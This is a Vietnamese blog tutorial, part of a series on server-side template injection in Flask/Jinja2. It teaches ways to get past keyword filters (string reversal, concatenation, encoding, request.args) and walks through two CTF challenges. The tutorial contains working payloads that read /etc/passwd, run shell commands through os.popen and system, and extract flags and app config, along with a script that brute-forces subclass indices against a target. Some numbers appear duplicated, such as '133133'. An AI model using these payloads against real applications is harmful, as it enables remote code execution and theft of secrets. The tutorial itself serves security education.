+2

Server-side template injection vulnerabilities (SSTI) - Các lỗ hổng SSTI (phần 3)

IV. Kỹ thuật bypass filter qua một số challenge CTF

1. Một số kỹ thuật bypass filter

Bài viết này chủ yếu tập trung vào các kỹ thuật bypass filter trong các challenge CTF.

Sử dụng request.args

request.args là một đối tượng trong framework Flask của Python, chứa tất cả các đối số được truyền từ URL vào ứng dụng Flask. Chúng ta có thể sử dụng đối tượng này bypass một số từ khóa bị filter. Ví dụ:

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

Đối tượng request.values cũng có chức năng tương tự.

Sử dụng attr()

Có thể kết hợp | và hàm attr() để bypass các ký tự bị filter như .. Ví dụ:

()|attr('__class__')

Kỹ thuật đảo ngược chuỗi

Kỹ thuật đảo ngược chuỗi các từ khóa bị filter thực sự hiệu quả trong các challenge CTF. Sử dụng đảo ngược chuỗi đặc trưng [::-1] trong Python, ví dụ:

{{()['__ssalc__'[::-1]]}}

Kỹ thuật ghép chuỗi

Kỹ thuật ghép chuỗi có thể được dùng bypass filter các từ khóa, ví dụ:

()['__cla'+'ss__']

Sử dụng hàm lower()

Đôi khi có thể bypass các từ khóa bị filter bằng cách chuyển từ ký tự in hoa xuống in thường. Ví dụ:

os.popen('ID'.lower())

Sử dụng hàm pop()

Trong trường hợp ký tự [] bị filter khiến chúng ta không thể lấy được function trong dict, có thể sử dụng hàm pop() bypass, ví dụ:

().__class__.__mro__[1].__subclasses__().pop(133)

Sử dụng các loại mã hóa

Hệ cơ số encode là một cách bypass filter từ khóa hiệu quả. Chẳng hạn với hex encode, ví dụ:

Encode ().__class__ thành ()["\x5f\x5fc\x6cass\x5f\x5f"]

Bên cạnh đó chúng ta cũng có thể sử dụng các hệ cơ số mã hóa khác. Ví dụ với hệ cơ số 88 mã hóa:

().__class__ thành ()["\137\137\143\154\141\163\163\137\137"]

Unicode mã hóa:

''.__class__ thành ''["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]

Sử dụng các từ unicode đặc biệt

Các ký tự unicode có thể sử dụng bypass filter các từ khóa đặc biệt. Bạn đọc có thể chuyển đổi tại https://www.compart.com/en/unicode/U+0030.

2. Tìm kiếm subclasses hiệu quả

Chắc hẳn nhiều bạn còn hoang mang với việc tìm kiếm các subclasses hữu dụng trong quá trình làm các challenges CTF về lỗ hổng SSTI. Với hàng trăm classes như vậy, làm sao để biết sử dụng cái nào?

image.png

Trong phần 22, tôi đã tổng hợp một số classes hữu dụng trong quá trình khai thác. Để sử dụng được chúng, cần xác định chính xác vị trí của class đó trong danh sách. Có thể sử dụng chức năng Intruder của Burpsuite. Chuyển request đến Intruder, ý tưởng sẽ là brute force tất cả subclass và dựa vào từ khóa xuất hiện trong response để xác định số thự tự.

image.png

image.png

Chẳng hạn với class os._wrap_close

image.png

image.png

Từ kết quả xác định được thứ tự class này là 133133.

Chúng ta cũng có thể tự động hóa bằng script. Ví dụ một python script như sau:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'
}
for i in range(500):
    url = "http://xxx.xxx.xxx.xxx:xxxx/?get_param={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

    res = requests.get(url=url,headers=headers)
    if 'FileLoader' in res.text: # Ví dụ với FileLoader
        print(i)

Đối với từng class, chúng ta có một số phương thức có thể sử dụng với mục đích đọc file tùy ý, hoặc thực thi mệnh lệnh. Một số phương thức thông dùng trong các class:

Phương thức systempopen trong class os._wrap_close. Ví dụ:

[].__class__.__mro__[1].__subclasses__()[127].__init__.__globals__['system']('ls')
[].__class__.__mro__[1].__subclasses__()[127].__init__.__globals__['popen']('ls').read()

Phương thức __builtins__ trong class warnings.catch_warnings có thể import os. Ví dụ:

{{[].__class__.__base__.__subclasses__()[144].__init__.__globals__.__builtins__['__import__']('os').popen('id').read()}}

Phương thức

3. Challenge CTF 1

image.png

Khi truy cập các path không tồn tại của ứng dụng, giao diện trả về 404404 với path tìm kiếm. Thử với payload {{7*7}} giao diện trả về 4949. Chứng tỏ ứng dụng sử dụng template riêng cho các trường hợp người dùng tìm kiếm trang không tồn tại và chứa lỗ hổng SSTI.

image.png

Với payload {{7*'7'}}, giao diện trả về 7777777, chứng tỏ ứng dụng sử dụng template Jinja2.

image.png

Truy cập lớp str, payload {{''.__class__}}

image.png

Thử các trường hợp nhận thấy từ khóa class bị chặn, chúng ta có thể bypass bằng cách ghép chuỗi, payload {{''.__'cl'+'ass'__}}

image.png

Tiếp tục xây dựng payload bằng kỹ thuật ghép chuỗi. Trả về danh sách class, payload:

{{''['__cla'+'ss__']['__m'+'ro__'][-1]['__subc'+'lasses__']()}}

image.png

Trong challenge này tên file flag được leak trong source code:

image.png

Nên chúng ta sử dụng class file với index 4040:

image.png

Đọc flag nhưng ứng dụng filter từ khóa read:

image.png

Bypass bằng request.args, payload

{{''['__cla'+'ss__']['__m'+'ro__'][-1]['__subc'+'lasses__']()[40]('/path/to/flag')[request.args.a]()}}?a=read

image.png

4. Challenge CTF 2

Challenge cung cấp source code như sau:

import flask
import os


app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

Để ý rằng một số ký tự và từ khóa bị filter như (, ), config, self. Flag cần tìm được đặt trong biến môi trường FLAG.

Dựng lại challenge tại local, thay đổi source code như sau (bỏ đi các cơ chế filter):

import flask
import os


app = flask.Flask(__name__)
app.config['FLAG'] = 'Viblo{secret}'

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        # s = s.replace('(', '').replace(')', '')
        # blacklist = ['config', 'self']
        blacklist = ['nofilter']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)

Mục đích của chúng ta là đọc được biến môi trường FLAG. Trong trường hợp có thể sử dụng (), payload RCE:

{{[].__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('id').read()}}

Nếu có thể sử dụng config, payload {{config.FLAG}}

image.png

Nếu có thể sử dụng self, payload {{self.__dict__}}

image.png

Trở lại challenge, chúng ta cần tìm cách đọc được biến môi trường FLAG mà không sử dụng tới các từ khóa config, self và các ký tự (, ). Ngoài hai từ khóa bị filter này, chúng ta còn có nhiều từ khóa được phép sử dụng như url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, ...

Chẳng hạn với {{url_for.__globals__}}

image.png

Trong Python, current_app là một đối tượng được sử dụng trong Flask framework để truy cập ứng dụng Flask hiện tại. Đây đồng thời có thể truy cập các cấu hình, log và các phương thức khác của ứng dụng.

image.png

Truy cập biến môi trường FLAG:

image.png

Các tài liệu tham khảo


©️ Tác giả: Lê Ngọc Hoa từ Viblo


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.